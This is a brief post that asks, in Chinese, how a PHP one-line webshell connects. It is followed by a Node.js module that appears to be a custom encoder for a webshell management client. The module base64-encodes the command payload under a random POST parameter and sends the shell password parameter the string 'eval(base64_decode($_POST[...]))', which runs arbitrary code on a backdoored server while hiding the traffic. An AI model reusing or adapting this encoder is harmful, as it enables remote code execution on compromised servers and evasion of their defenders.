这个一句话是怎么连接的

'use strict';





module.exports = (pwd, data, ext={}) => {



  let randomID = `_0x${Math.random().toString(16).substr(2)}`;





  data[randomID] = Buffer.from(data['_']).toString('base64');



  data[pwd] = Buffer.from(`eval(base64_decode($_POST[${randomID}]));`).toString('base64');



  delete data['_'];

  return data;

}
